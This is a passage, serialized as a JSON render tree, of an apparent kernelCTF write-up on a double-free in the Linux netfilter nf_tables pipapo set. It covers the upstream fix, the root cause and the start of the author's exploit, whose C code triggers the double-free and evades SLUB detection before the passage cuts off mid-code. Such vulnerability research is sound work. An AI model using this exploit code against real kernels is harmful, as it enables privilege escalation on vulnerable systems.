05\n",{"type":22,"tag":118,"props":55847,"children":55848},{"class":120,"line":368},[55849],{"type":22,"tag":118,"props":55850,"children":55851},{},[55852],{"type":28,"value":12317},{"type":22,"tag":118,"props":55854,"children":55855},{"class":120,"line":384},[55856],{"type":22,"tag":118,"props":55857,"children":55858},{},[55859],{"type":28,"value":55860},"[16302.231917] Call Trace:\n",{"type":22,"tag":118,"props":55862,"children":55863},{"class":120,"line":417},[55864],{"type":22,"tag":118,"props":55865,"children":55866},{},[55867],{"type":28,"value":55868},"[16302.231919]  \u003CTASK>\n",{"type":22,"tag":118,"props":55870,"children":55871},{"class":120,"line":425},[55872],{"type":22,"tag":118,"props":55873,"children":55874},{},[55875],{"type":28,"value":55876},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":22,"tag":118,"props":55878,"children":55879},{"class":120,"line":441},[55880],{"type":22,"tag":118,"props":55881,"children":55882},{},[55883],{"type":28,"value":55884},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":22,"tag":118,"props":55886,"children":55887},{"class":120,"line":475},[55888],{"type":22,"tag":118,"props":55889,"children":55890},{},[55891],{"type":28,"value":55892},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":22,"tag":118,"props":55894,"children":55895},{"class":120,"line":484},[55896],{"type":22,"tag":118,"props":55897,"children":55898},{},[55899],{"type":28,"value":55900},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":22,"tag":118,"props":55902,"children":55903},{"class":120,"line":492},[55904],{"type":22,"tag":118,"props":55905,"children":55906},{},[55907],{"type":28,"value":55908},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":22,"tag":118,"props":55910,"children":55911},{"class":120,"line":501},[55912],{"type":22,"tag":118,"props":55913,"children":55914},{},[55915],{"type":28,"value":55916},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":22,"tag":118,"props":55918,"children":55919},{"class":120,"line":519},[55920],{"type":22,"tag":118,"props":55921,"children":55922},{},[55923],{"type":28,"value":55924},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":22,"tag":118,"props":55926,"children":55927},{"class":120,"line":606},[55928],{"type":22,"tag":118,"props":55929,"children":55930},{"emptyLinePlaceholder":15},[55931],{"type":28,"value":250},{"type":22,"tag":118,"props":55933,"children":55934},{"class":120,"line":615},[55935],{"type":22,"tag":118,"props":55936,"children":55937},{},[55938],{"type":28,"value":55939},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":22,"tag":118,"props":55941,"children":55942},{"class":120,"line":685},[55943],{"type":22,"tag":118,"props":55944,"children":55945},{},[55946],{"type":28,"value":55947},"elements in the lookup tables.\n",{"type":22,"tag":118,"props":55949,"children":55950},{"class":120,"line":699},[55951],{"type":22,"tag":118,"props":55952,"children":55953},{"emptyLinePlaceholder":15},[55954],{"type":28,"value":250},{"type":22,"tag":118,"props":55956,"children":55957},{"class":120,"line":729},[55958],{"type":22,"tag":118,"props":55959,"children":55960},{},[55961],{"type":28,"value":55962},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":22,"tag":118,"props":55964,"children":55965},{"class":120,"line":771},[55966],{"type":22,"tag":118,"props":55967,"children":55968},{},[55969],{"type":28,"value":55970},"cloned matching data if priv->dirty is set, because that means that\n",{"type":22,"tag":118,"props":55972,"children":55973},{"class":120,"line":785},[55974],{"type":22,"tag":118,"props":55975,"children":55976},{},[55977],{"type":28,"value":55978},"cloned data might point to additional elements we did not commit to the\n",{"type":22,"tag":118,"props":55980,"children":55981},{"class":120,"line":804},[55982],{"type":22,"tag":118,"props":55983,"children":55984},{},[55985],{"type":28,"value":55986},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":22,"tag":118,"props":55988,"children":55989},{"class":120,"line":812},[55990],{"type":22,"tag":118,"props":55991,"children":55992},{},[55993],{"type":28,"value":55994},"to it).\"\n",{"type":22,"tag":118,"props":55996,"children":55997},{"class":120,"line":821},[55998],{"type":22,"tag":118,"props":55999,"children":56000},{"emptyLinePlaceholder":15},[56001],{"type":28,"value":250},{"type":22,"tag":118,"props":56003,"children":56004},{"class":120,"line":900},[56005],{"type":22,"tag":118,"props":56006,"children":56007},{},[56008],{"type":28,"value":56009},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":22,"tag":118,"props":56011,"children":56012},{"class":120,"line":913},[56013],{"type":22,"tag":118,"props":56014,"children":56015},{},[56016],{"type":28,"value":56017},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":22,"tag":118,"props":56019,"children":56020},{"class":120,"line":953},[56021],{"type":22,"tag":118,"props":56022,"children":56023},{},[56024],{"type":28,"value":56025},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":22,"tag":31,"props":56027,"children":56028},{},[56029,56031,56036,56038,56043,56045,56050,56052,56057],{"type":28,"value":56030},"As we previously discussed, committing changes to a pipapo ",{"type":22,"tag":114,"props":56032,"children":56034},{"className":56033},[],[56035],{"type":28,"value":52960},{"type":28,"value":56037}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":22,"tag":114,"props":56039,"children":56041},{"className":56040},[],[56042],{"type":28,"value":54286},{"type":28,"value":56044}," method by simply replacing the ",{"type":22,"tag":114,"props":56046,"children":56048},{"className":56047},[],[56049],{"type":28,"value":52960},{"type":28,"value":56051},"s match object with its updated clone. So checking the ",{"type":22,"tag":114,"props":56053,"children":56055},{"className":56054},[],[56056],{"type":28,"value":52914},{"type":28,"value":56058}," flag and then calling free again ensures we also free uncommitted changes.",{"type":22,"tag":31,"props":56060,"children":56061},{},[56062,56064,56069],{"type":28,"value":56063},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":22,"tag":114,"props":56065,"children":56067},{"className":56066},[],[56068],{"type":28,"value":52960},{"type":28,"value":56070},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":22,"tag":31,"props":56072,"children":56073},{},[56074,56076,56082,56084,56089,56091,56096],{"type":28,"value":56075},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":22,"tag":114,"props":56077,"children":56079},{"className":56078},[],[56080],{"type":28,"value":56081},"set->ops->destroy()",{"type":28,"value":56083}," could be called without clearing the ",{"type":22,"tag":114,"props":56085,"children":56087},{"className":56086},[],[56088],{"type":28,"value":52914},{"type":28,"value":56090}," flag, which was fine considering you didn't have duplicated views of the ",{"type":22,"tag":114,"props":56092,"children":56094},{"className":56093},[],[56095],{"type":28,"value":52952},{"type":28,"value":56097},"s, so they would all be in the clone set.",{"type":22,"tag":31,"props":56099,"children":56100},{},[56101,56103,56108],{"type":28,"value":56102},"But when the ",{"type":22,"tag":114,"props":56104,"children":56106},{"className":56105},[],[56107],{"type":28,"value":55670},{"type":28,"value":56109}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":22,"tag":31,"props":56111,"children":56112},{},[56113],{"type":28,"value":56114},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":22,"tag":23,"props":56116,"children":56118},{"id":56117},"kernelctf-exploit",[56119],{"type":28,"value":56120},"KernelCTF exploit",{"type":22,"tag":31,"props":56122,"children":56123},{},[56124,56126,56132,56134,56141],{"type":28,"value":56125},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":22,"tag":114,"props":56127,"children":56129},{"className":56128},[],[56130],{"type":28,"value":56131},"nft_object + udata",{"type":28,"value":56133}," technique shared by lonial con in a ",{"type":22,"tag":42,"props":56135,"children":56138},{"href":56136,"rel":56137},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[46],[56139],{"type":28,"value":56140},"previous kernelCTF exploit",{"type":28,"value":292},{"type":22,"tag":1289,"props":56143,"children":56145},{"id":56144},"trigger-uafavoid-double-free-detection",[56146],{"type":28,"value":56147},"Trigger UAF/avoid double-free detection",{"type":22,"tag":31,"props":56149,"children":56150},{},[56151,56153,56159,56161,56167],{"type":28,"value":56152},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":22,"tag":114,"props":56154,"children":56156},{"className":56155},[],[56157],{"type":28,"value":56158},"nft_set_pipapo_match_destroy",{"type":28,"value":56160}," iterates over the ",{"type":22,"tag":114,"props":56162,"children":56164},{"className":56163},[],[56165],{"type":28,"value":56166},"setelems",{"type":28,"value":56168}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":22,"tag":4029,"props":56170,"children":56171},{},[56172,56177,56182,56187],{"type":22,"tag":68,"props":56173,"children":56174},{},[56175],{"type":28,"value":56176},"Element A gets freed",{"type":22,"tag":68,"props":56178,"children":56179},{},[56180],{"type":28,"value":56181},"Element B gets free",{"type":22,"tag":68,"props":56183,"children":56184},{},[56185],{"type":28,"value":56186},"Element A gets freed again (double-free)",{"type":22,"tag":68,"props":56188,"children":56189},{},[56190],{"type":28,"value":56191},"Element B gets freed again (double-free)",{"type":22,"tag":107,"props":56193,"children":56195},{"className":31048,"code":56194,"language":31050,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[56196],{"type":22,"tag":114,"props":56197,"children":56198},{"__ignoreMap":7},[56199,56206,56267,56274,56281,56289,56296,56303,56311,56335,56356,56390,56451,56458,56466,56518,56525,56551,56578,56617,56646,56675,56697,56704,56711,56718,56726,56733,56741,56754,56767,56787,56794,56802,56824,56856,56901,56937,56965,56972,56979,56987,56994,57010,57017],{"type":22,"tag":118,"props":56200,"children":56201},{"class":120,"line":121},[56202],{"type":22,"tag":118,"props":56203,"children":56204},{"style":125},[56205],{"type":28,"value":12317},{"type":22,"tag":118,"props":56207,"children":56208},{"class":120,"line":142},[56209,56214,56218,56223,56227,56232,56236,56241,56246,56250,56254,56258,56263],{"type":22,"tag":118,"props":56210,"children":56211},{"style":125},[56212],{"type":28,"value":56213},"static void trigger_uaf(",{"type":22,"tag":118,"props":56215,"children":56216},{"style":146},[56217],{"type":28,"value":11399},{"type":22,"tag":118,"props":56219,"children":56220},{"style":131},[56221],{"type":28,"value":56222}," mnl_socket",{"type":22,"tag":118,"props":56224,"children":56225},{"style":146},[56226],{"type":28,"value":11815},{"type":22,"tag":118,"props":56228,"children":56229},{"style":204},[56230],{"type":28,"value":56231},"nl",{"type":22,"tag":118,"props":56233,"children":56234},{"style":125},[56235],{"type":28,"value":231},{"type":22,"tag":118,"props":56237,"children":56238},{"style":146},[56239],{"type":28,"value":56240},"size_t",{"type":22,"tag":118,"props":56242,"children":56243},{"style":204},[56244],{"type":28,"value":56245}," size",{"type":22,"tag":118,"props":56247,"children":56248},{"style":125},[56249],{"type":28,"value":231},{"type":22,"tag":118,"props":56251,"children":56252},{"style":146},[56253],{"type":28,"value":21014},{"type":22,"tag":118,"props":56255,"children":56256},{"style":146},[56257],{"type":28,"value":11815},{"type":22,"tag":118,"props":56259,"children":56260},{"style":204},[56261],{"type":28,"value":56262},"msgqids",{"type":22,"tag":118,"props":56264,"children":56265},{"style":125},[56266],{"type":28,"value":3665},{"type":22,"tag":118,"props":56268,"children":56269},{"class":120,"line":177},[56270],{"type":22,"tag":118,"props":56271,"children":56272},{"style":125},[56273],{"type":28,"value":12879},{"type":22,"tag":118,"props":56275,"children":56276},{"class":120,"line":195},[56277],{"type":22,"tag":118,"props":56278,"children":56279},{"style":125},[56280],{"type":28,"value":12317},{"type":22,"tag":118,"props":56282,"children":56283},{"class":120,"line":244},[56284],{"type":22,"tag":118,"props":56285,"children":56286},{"style":125},[56287],{"type":28,"value":56288},"    // TRANSACTION 2\n",{"type":22,"tag":118,"props":56290,"children":56291},{"class":120,"line":253},[56292],{"type":22,"tag":118,"props":56293,"children":56294},{"style":125},[56295],{"type":28,"value":12317},{"type":22,"tag":118,"props":56297,"children":56298},{"class":120,"line":263},[56299],{"type":22,"tag":118,"props":56300,"children":56301},{"emptyLinePlaceholder":15},[56302],{"type":28,"value":250},{"type":22,"tag":118,"props":56304,"children":56305},{"class":120,"line":318},[56306],{"type":22,"tag":118,"props":56307,"children":56308},{"style":125},[56309],{"type":28,"value":56310},"    // create pipapo set\n",{"type":22,"tag":118,"props":56312,"children":56313},{"class":120,"line":351},[56314,56319,56323,56327,56331],{"type":22,"tag":118,"props":56315,"children":56316},{"style":125},[56317],{"type":28,"value":56318},"    uint8_t desc[2] = {",{"type":22,"tag":118,"props":56320,"children":56321},{"style":674},[56322],{"type":28,"value":42786},{"type":22,"tag":118,"props":56324,"children":56325},{"style":125},[56326],{"type":28,"value":231},{"type":22,"tag":118,"props":56328,"children":56329},{"style":674},[56330],{"type":28,"value":42786},{"type":22,"tag":118,"props":56332,"children":56333},{"style":125},[56334],{"type":28,"value":4277},{"type":22,"tag":118,"props":56336,"children":56337},{"class":120,"line":359},[56338,56343,56347,56352],{"type":22,"tag":118,"props":56339,"children":56340},{"style":125},[56341],{"type":28,"value":56342},"    set ",{"type":22,"tag":118,"props":56344,"children":56345},{"style":210},[56346],{"type":28,"value":282},{"type":22,"tag":118,"props":56348,"children":56349},{"style":532},[56350],{"type":28,"value":56351}," create_set",{"type":22,"tag":118,"props":56353,"children":56354},{"style":125},[56355],{"type":28,"value":696},{"type":22,"tag":118,"props":56357,"children":56358},{"class":120,"line":368},[56359,56364,56368,56373,56378,56382,56386],{"type":22,"tag":118,"props":56360,"children":56361},{"style":125},[56362],{"type":28,"value":56363},"        batch, seq",{"type":22,"tag":118,"props":56365,"children":56366},{"style":210},[56367],{"type":28,"value":53210},{"type":22,"tag":118,"props":56369,"children":56370},{"style":125},[56371],{"type":28,"value":56372},", exploit_table_name, ",{"type":22,"tag":118,"props":56374,"children":56375},{"style":1866},[56376],{"type":28,"value":56377},"\"pwn_set\"",{"type":22,"tag":118,"props":56379,"children":56380},{"style":125},[56381],{"type":28,"value":231},{"type":22,"tag":118,"props":56383,"children":56384},{"style":674},[56385],{"type":28,"value":45439},{"type":22,"tag":118,"props":56387,"children":56388},{"style":125},[56389],{"type":28,"value":782},{"type":22,"tag":118,"props":56391,"children":56392},{"class":120,"line":384},[56393,56398,56402,56407,56411,56416,56420,56424,56428,56433,56438,56442,56446],{"type":22,"tag":118,"props":56394,"children":56395},{"style":125},[56396],{"type":28,"value":56397},"        NFT_SET_INTERVAL ",{"type":22,"tag":118,"props":56399,"children":56400},{"style":210},[56401],{"type":28,"value":3604},{"type":22,"tag":118,"props":56403,"children":56404},{"style":125},[56405],{"type":28,"value":56406}," NFT_SET_OBJECT ",{"type":22,"tag":118,"props":56408,"children":56409},{"style":210},[56410],{"type":28,"value":3604},{"type":22,"tag":118,"props":56412,"children":56413},{"style":125},[56414],{"type":28,"value":56415}," NFT_SET_CONCAT, KEY_LEN, ",{"type":22,"tag":118,"props":56417,"children":56418},{"style":674},[56419],{"type":28,"value":5147},{"type":22,"tag":118,"props":56421,"children":56422},{"style":125},[56423],{"type":28,"value":231},{"type":22,"tag":118,"props":56425,"children":56426},{"style":210},[56427],{"type":28,"value":1407},{"type":22,"tag":118,"props":56429,"children":56430},{"style":125},[56431],{"type":28,"value":56432},"desc, ",{"type":22,"tag":118,"props":56434,"children":56435},{"style":146},[56436],{"type":28,"value":56437},"NULL",{"type":22,"tag":118,"props":56439,"children":56440},{"style":125},[56441],{"type":28,"value":231},{"type":22,"tag":118,"props":56443,"children":56444},{"style":674},[56445],{"type":28,"value":6036},{"type":22,"tag":118,"props":56447,"children":56448},{"style":125},[56449],{"type":28,"value":56450},", NFT_OBJECT_CT_EXPECT);\n",{"type":22,"tag":118,"props":56452,"children":56453},{"class":120,"line":417},[56454],{"type":22,"tag":118,"props":56455,"children":56456},{"emptyLinePlaceholder":15},[56457],{"type":28,"value":250},{"type":22,"tag":118,"props":56459,"children":56460},{"class":120,"line":425},[56461],{"type":22,"tag":118,"props":56462,"children":56463},{"style":257},[56464],{"type":28,"value":56465},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":22,"tag":118,"props":56467,"children":56468},{"class":120,"line":441},[56469,56473,56477,56481,56486,56490,56494,56498,56502,56506,56510,56514],{"type":22,"tag":118,"props":56470,"children":56471},{"style":1480},[56472],{"type":28,"value":5059},{"type":22,"tag":118,"props":56474,"children":56475},{"style":125},[56476],{"type":28,"value":842},{"type":22,"tag":118,"props":56478,"children":56479},{"style":146},[56480],{"type":28,"value":21014},{"type":22,"tag":118,"props":56482,"children":56483},{"style":125},[56484],{"type":28,"value":56485}," i ",{"type":22,"tag":118,"props":56487,"children":56488},{"style":210},[56489],{"type":28,"value":282},{"type":22,"tag":118,"props":56491,"children":56492},{"style":674},[56493],{"type":28,"value":5074},{"type":22,"tag":118,"props":56495,"children":56496},{"style":125},[56497],{"type":28,"value":53174},{"type":22,"tag":118,"props":56499,"children":56500},{"style":210},[56501],{"type":28,"value":559},{"type":22,"tag":118,"props":56503,"children":56504},{"style":674},[56505],{"type":28,"value":677},{"type":22,"tag":118,"props":56507,"children":56508},{"style":125},[56509],{"type":28,"value":53205},{"type":22,"tag":118,"props":56511,"children":56512},{"style":210},[56513],{"type":28,"value":53210},{"type":22,"tag":118,"props":56515,"children":56516},{"style":125},[56517],{"type":28,"value":3665},{"type":22,"tag":118,"props":56519,"children":56520},{"class":120,"line":475},[56521],{"type":22,"tag":118,"props":56522,"children":56523},{"style":125},[56524],{"type":28,"value":31125},{"type":22,"tag":118,"props":56526,"children":56527},{"class":120,"line":484},[56528,56533,56538,56542,56547],{"type":22,"tag":118,"props":56529,"children":56530},{"style":204},[56531],{"type":28,"value":56532},"        elem",{"type":22,"tag":118,"props":56534,"children":56535},{"style":125},[56536],{"type":28,"value":56537},"[i] ",{"type":22,"tag":118,"props":56539,"children":56540},{"style":210},[56541],{"type":28,"value":282},{"type":22,"tag":118,"props":56543,"children":56544},{"style":532},[56545],{"type":28,"value":56546}," nftnl_set_elem_alloc",{"type":22,"tag":118,"props":56548,"children":56549},{"style":125},[56550],{"type":28,"value":1098},{"type":22,"tag":118,"props":56552,"children":56553},{"class":120,"line":492},[56554,56559,56564,56569,56573],{"type":22,"tag":118,"props":56555,"children":56556},{"style":532},[56557],{"type":28,"value":56558},"        memset",{"type":22,"tag":118,"props":56560,"children":56561},{"style":125},[56562],{"type":28,"value":56563},"(key, ",{"type":22,"tag":118,"props":56565,"children":56566},{"style":674},[56567],{"type":28,"value":56568},"0x41",{"type":22,"tag":118,"props":56570,"children":56571},{"style":210},[56572],{"type":28,"value":10905},{"type":22,"tag":118,"props":56574,"children":56575},{"style":125},[56576],{"type":28,"value":56577}," i, KEY_LEN);\n",{"type":22,"tag":118,"props":56579,"children":56580},{"class":120,"line":501},[56581,56586,56590,56594,56599,56604,56608,56613],{"type":22,"tag":118,"props":56582,"children":56583},{"style":532},[56584],{"type":28,"value":56585},"        nftnl_set_elem_set",{"type":22,"tag":118,"props":56587,"children":56588},{"style":125},[56589],{"type":28,"value":540},{"type":22,"tag":118,"props":56591,"children":56592},{"style":204},[56593],{"type":28,"value":54005},{"type":22,"tag":118,"props":56595,"children":56596},{"style":125},[56597],{"type":28,"value":56598},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":22,"tag":118,"props":56600,"children":56601},{"style":1866},[56602],{"type":28,"value":56603},"\"pwnobj\"",{"type":22,"tag":118,"props":56605,"children":56606},{"style":125},[56607],{"type":28,"value":231},{"type":22,"tag":118,"props":56609,"children":56610},{"style":674},[56611],{"type":28,"value":56612},"7",{"type":22,"tag":118,"props":56614,"children":56615},{"style":125},[56616],{"type":28,"value":682},{"type":22,"tag":118,"props":56618,"children":56619},{"class":120,"line":519},[56620,56624,56628,56632,56637,56641],{"type":22,"tag":118,"props":56621,"children":56622},{"style":532},[56623],{"type":28,"value":56585},{"type":22,"tag":118,"props":56625,"children":56626},{"style":125},[56627],{"type":28,"value":540},{"type":22,"tag":118,"props":56629,"children":56630},{"style":204},[56631],{"type":28,"value":54005},{"type":22,"tag":118,"props":56633,"children":56634},{"style":125},[56635],{"type":28,"value":56636},"[i], NFTNL_SET_ELEM_KEY, ",{"type":22,"tag":118,"props":56638,"children":56639},{"style":210},[56640],{"type":28,"value":1407},{"type":22,"tag":118,"props":56642,"children":56643},{"style":125},[56644],{"type":28,"value":56645},"key, KEY_LEN);\n",{"type":22,"tag":118,"props":56647,"children":56648},{"class":120,"line":606},[56649,56653,56657,56661,56666,56670],{"type":22,"tag":118,"props":56650,"children":56651},{"style":532},[56652],{"type":28,"value":56585},{"type":22,"tag":118,"props":56654,"children":56655},{"style":125},[56656],{"type":28,"value":540},{"type":22,"tag":118,"props":56658,"children":56659},{"style":204},[56660],{"type":28,"value":54005},{"type":22,"tag":118,"props":56662,"children":56663},{"style":125},[56664],{"type":28,"value":56665},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":22,"tag":118,"props":56667,"children":56668},{"style":210},[56669],{"type":28,"value":1407},{"type":22,"tag":118,"props":56671,"children":56672},{"style":125},[56673],{"type":28,"value":56674},"udata_buf, size);\n",{"type":22,"tag":118,"props":56676,"children":56677},{"class":120,"line":615},[56678,56683,56688,56692],{"type":22,"tag":118,"props":56679,"children":56680},{"style":532},[56681],{"type":28,"value":56682},"        nftnl_set_elem_add",{"type":22,"tag":118,"props":56684,"children":56685},{"style":125},[56686],{"type":28,"value":56687},"(set, ",{"type":22,"tag":118,"props":56689,"children":56690},{"style":204},[56691],{"type":28,"value":54005},{"type":22,"tag":118,"props":56693,"children":56694},{"style":125},[56695],{"type":28,"value":56696},"[i]);\n",{"type":22,"tag":118,"props":56698,"children":56699},{"class":120,"line":685},[56700],{"type":22,"tag":118,"props":56701,"children":56702},{"style":125},[56703],{"type":28,"value":1254},{"type":22,"tag":118,"props":56705,"children":56706},{"class":120,"line":699},[56707],{"type":22,"tag":118,"props":56708,"children":56709},{"style":125},[56710],{"type":28,"value":12317},{"type":22,"tag":118,"props":56712,"children":56713},{"class":120,"line":729},[56714],{"type":22,"tag":118,"props":56715,"children":56716},{"emptyLinePlaceholder":15},[56717],{"type":28,"value":250},{"type":22,"tag":118,"props":56719,"children":56720},{"class":120,"line":771},[56721],{"type":22,"tag":118,"props":56722,"children":56723},{"style":125},[56724],{"type":28,"value":56725},"    // TRANSACTION 3\n",{"type":22,"tag":118,"props":56727,"children":56728},{"class":120,"line":785},[56729],{"type":22,"tag":118,"props":56730,"children":56731},{"style":125},[56732],{"type":28,"value":12317},{"type":22,"tag":118,"props":56734,"children":56735},{"class":120,"line":804},[56736],{"type":22,"tag":118,"props":56737,"children":56738},{"style":125},[56739],{"type":28,"value":56740},"    set = nftnl_set_alloc();\n",{"type":22,"tag":118,"props":56742,"children":56743},{"class":120,"line":812},[56744,56749],{"type":22,"tag":118,"props":56745,"children":56746},{"style":532},[56747],{"type":28,"value":56748},"    nftnl_set_set_u32",{"type":22,"tag":118,"props":56750,"children":56751},{"style":125},[56752],{"type":28,"value":56753},"(set, NFTNL_SET_FAMILY, family);\n",{"type":22,"tag":118,"props":56755,"children":56756},{"class":120,"line":821},[56757,56762],{"type":22,"tag":118,"props":56758,"children":56759},{"style":532},[56760],{"type":28,"value":56761},"    nftnl_set_set_str",{"type":22,"tag":118,"props":56763,"children":56764},{"style":125},[56765],{"type":28,"value":56766},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":22,"tag":118,"props":56768,"children":56769},{"class":120,"line":900},[56770,56774,56779,56783],{"type":22,"tag":118,"props":56771,"children":56772},{"style":532},[56773],{"type":28,"value":56761},{"type":22,"tag":118,"props":56775,"children":56776},{"style":125},[56777],{"type":28,"value":56778},"(set, NFTNL_SET_NAME, ",{"type":22,"tag":118,"props":56780,"children":56781},{"style":1866},[56782],{"type":28,"value":56377},{"type":22,"tag":118,"props":56784,"children":56785},{"style":125},[56786],{"type":28,"value":682},{"type":22,"tag":118,"props":56788,"children":56789},{"class":120,"line":913},[56790],{"type":22,"tag":118,"props":56791,"children":56792},{"emptyLinePlaceholder":15},[56793],{"type":28,"value":250},{"type":22,"tag":118,"props":56795,"children":56796},{"class":120,"line":953},[56797],{"type":22,"tag":118,"props":56798,"children":56799},{"style":257},[56800],{"type":28,"value":56801},"    // make priv->dirty true\n",{"type":22,"tag":118,"props":56803,"children":56804},{"class":120,"line":982},[56805,56810,56814,56819],{"type":22,"tag":118,"props":56806,"children":56807},{"style":532},[56808],{"type":28,"value":56809},"    memset",{"type":22,"tag":118,"props":56811,"children":56812},{"style":125},[56813],{"type":28,"value":56563},{"type":22,"tag":118,"props":56815,"children":56816},{"style":674},[56817],{"type":28,"value":56818},"0xff",{"type":22,"tag":118,"props":56820,"children":56821},{"style":125},[56822],{"type":28,"value":56823},", KEY_LEN);\n",{"type":22,"tag":118,"props":56825,"children":56826},{"class":120,"line":995},[56827,56832,56836,56840,56844,56848,56852],{"type":22,"tag":118,"props":56828,"children":56829},{"style":204},[56830],{"type":28,"value":56831},"    elem",{"type":22,"tag":118,"props":56833,"children":56834},{"style":125},[56835],{"type":28,"value":5746},{"type":22,"tag":118,"props":56837,"children":56838},{"style":674},[56839],{"type":28,"value":19260},{"type":22,"tag":118,"props":56841,"children":56842},{"style":125},[56843],{"type":28,"value":10663},{"type":22,"tag":118,"props":56845,"children":56846},{"style":210},[56847],{"type":28,"value":282},{"type":22,"tag":118,"props":56849,"children":56850},{"style":532},[56851],{"type":28,"value":56546},{"type":22,"tag":118,"props":56853,"children":56854},{"style":125},[56855],{"type":28,"value":1098},{"type":22,"tag":118,"props":56857,"children":56858},{"class":120,"line":1011},[56859,56864,56868,56872,56876,56880,56885,56889,56893,56897],{"type":22,"tag":118,"props":56860,"children":56861},{"style":532},[56862],{"type":28,"value":56863},"    nftnl_set_elem_set",{"type":22,"tag":118,"props":56865,"children":56866},{"style":125},[56867],{"type":28,"value":540},{"type":22,"tag":118,"props":56869,"children":56870},{"style":204},[56871],{"type":28,"value":54005},{"type":22,"tag":118,"props":56873,"children":56874},{"style":125},[56875],{"type":28,"value":5746},{"type":22,"tag":118,"props":56877,"children":56878},{"style":674},[56879],{"type":28,"value":19260},{"type":22,"tag":118,"props":56881,"children":56882},{"style":125},[56883],{"type":28,"value":56884},"], NFTNL_SET_ELEM_OBJREF, ",{"type":22,"tag":118,"props":56886,"children":56887},{"style":1866},[56888],{"type":28,"value":56603},{"type":22,"tag":118,"props":56890,"children":56891},{"style":125},[56892],{"type":28,"value":231},{"type":22,"tag":118,"props":56894,"children":56895},{"style":674},[56896],{"type":28,"value":56612},{"type":22,"tag":118,"props":56898,"children":56899},{"style":125},[56900],{"type":28,"value":682},{"type":22,"tag":118,"props":56902,"children":56903},{"class":120,"line":1019},[56904,56908,56912,56916,56920,56924,56929,56933],{"type":22,"tag":118,"props":56905,"children":56906},{"style":532},[56907],{"type":28,"value":56863},{"type":22,"tag":118,"props":56909,"children":56910},{"style":125},[56911],{"type":28,"value":540},{"type":22,"tag":118,"props":56913,"children":56914},{"style":204},[56915],{"type":28,"value":54005},{"type":22,"tag":118,"props":56917,"children":56918},{"style":125},[56919],{"type":28,"value":5746},{"type":22,"tag":118,"props":56921,"children":56922},{"style":674},[56923],{"type":28,"value":19260},{"type":22,"tag":118,"props":56925,"children":56926},{"style":125},[56927],{"type":28,"value":56928},"], NFTNL_SET_ELEM_KEY, 